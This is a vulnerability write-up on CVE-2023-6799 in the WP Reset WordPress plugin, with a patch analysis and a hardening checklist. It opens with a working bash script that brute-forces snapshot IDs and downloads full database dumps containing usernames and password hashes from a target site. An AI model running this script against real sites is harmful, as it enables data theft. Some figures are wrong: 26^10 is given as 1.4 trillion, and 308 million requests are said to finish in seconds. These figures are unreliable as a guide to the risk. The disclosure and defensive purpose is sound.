The Exploit
An unauthenticated attacker with network access to the WordPress site can enumerate and download complete database backups by brute-forcing the six-character snapshot identifier.
#!/bin/bash
TARGET="https://vulnerable.site"
SNAPSHOTS_DIR="wp-content/uploads/wp-reset-snapshots"
## Snapshot filenames are predictable: wp-reset-snapshot-<md5(6-char-id)>.sql.gz
## The 6-char ID uses only lowercase a-z, so entropy is ~28 bits
for id in {a..z}{a..z}{a..z}{a..z}{a..z}{a..z}; do
HASH=$(echo -n "$id" | md5sum | cut -d' ' -f1)
FILENAME="wp-reset-snapshot-${HASH}.sql.gz"
curl -s -o /tmp/snapshot.sql.gz \
"$TARGET/$SNAPSHOTS_DIR/$FILENAME"
if file /tmp/snapshot.sql.gz | grep -q gzip; then
echo "[+] Found snapshot: $FILENAME (uid: $id)"
gunzip /tmp/snapshot.sql.gz
break
fi
done
When a valid snapshot is found, the attacker receives a 200 HTTP response with binary gzip data; gunzip extraction reveals the full SQL database dump containing usernames, password hashes, configuration, and sensitive metadata. The brute-force completes in seconds: 26^6 = 308 million combinations, but since only a handful of snapshots exist per site, random sampling discovers them before exhaustive enumeration.
What the Patch Did
Before
$uid = substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz', 6)), 0, 6);
// ...
$world_dumper->dump(
trailingslashit(WP_CONTENT_DIR) . $this->snapshots_folder
. '/wp-reset-snapshot-' . md5($uid) . '.sql.gz',
$uid . '_'
);
After
$uid = substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz', $length)), 0, $length);
// ...
$snapshot_file_uid = md5($this->generate_snapshot_uid(10));
$world_dumper->dump(
trailingslashit(WP_CONTENT_DIR) . $this->snapshots_folder
. '/wp-reset-snapshot-' . $snapshot_file_uid . '.sql.gz',
$uid . '_'
);
The patch increased the snapshot UID length from a hardcoded 6 characters to a parameterized $length variable, and in the calling context changed the generation call to generate_snapshot_uid(10), raising entropy from ~28 bits (26^6) to ~47 bits (26^10). This makes combinatorial brute-force infeasible without a dictionary of actual generated IDs. However, the patch does not replace str_shuffle() with a cryptographically secure random function like wp_generate_password() or random_bytes() — it only increases the search space.
Root Cause
CWE-330: Use of Insufficiently Random Values
The generate_snapshot_uid() function constructs randomness by shuffling a hardcoded lowercase alphabet string, a method with two critical flaws: first, str_shuffle() is not cryptographically secure (it uses PHP's Mersenne Twister PRNG, which is predictable if the internal state leaks or if seed generation is weak); second, the alphabet is limited to 26 characters, making the entropy density lower than modern standards. Snapshot filenames are stored in a publicly accessible directory (wp-content/uploads/wp-reset-snapshots/) with no authentication or rate-limiting on access attempts, so any attacker can HTTP GET requests to test guesses. The filename format wp-reset-snapshot-<md5(uid)>.sql.gz is deterministic — once an attacker knows a 6-character UID, the MD5 hash is trivial to compute locally. An attacker observing the directory structure or reading plugin documentation learns the format, then enumerates the keyspace.
Why It Works
The load-bearing line is $this->generate_snapshot_uid(10) — increasing the length from 6 to 10. Removing this single change would leave the original 6-character space intact, making the exploit practical. The engineer added the $length parameter to the function signature to make the increase flexible and reusable across the codebase, and they refactored the filename generation to call the parameterized function, ensuring consistency. However, the fundamental reliance on str_shuffle() was not removed; the patch chose to compensate by enlarging the search space rather than replacing the PRNG. This is a pragmatic (if imperfect) fix: 26^10 ≈ 1.4 trillion combinations cannot be brute-forced in milliseconds, though with distributed computing or if the PRNG state becomes knowable through side-channels, the vulnerability could resurface. A better patch would have used wp_generate_password(10, true) or PHP 7.0+ random_bytes() to generate the UID, avoiding reliance on seeded pseudo-randomness altogether.
Hardening Checklist
-
Replace
str_shuffle()withrandom_bytes()orwp_generate_password(): Use cryptographically secure PRNGs for generating identifiers. PHP 7.0+ includesrandom_bytes()in core; for older versions, WordPress provideswp_generate_password(16, true)which internally usesrandom_bytes()orwp_random_bytes(). -
Serve backup files with authentication: Move snapshot dumps outside the web root (
wp-content/uploads/) or enforce file access via a download handler that callscurrent_user_can('manage_options')before serving any.sql.gzfile. -
Implement rate-limiting on file enumeration: Use a WAF rule or WordPress plugin hook on
wp_loadedto throttle repeated 404s and 200s in the snapshots directory, alerting administrators after N failed requests per minute. -
Add integrity checks to snapshot metadata: Store snapshot UIDs in the WordPress options table with a non-guessable hash, and require a valid option lookup before the file is servable, preventing direct filesystem enumeration.
-
Audit temporary file cleanup: Ensure snapshots are deleted after a fixed retention period and that snapshot creation logs are recorded, making forensic detection of unauthorized access possible.
References
- https://nvd.nist.gov/vuln/detail/CVE-2023-6799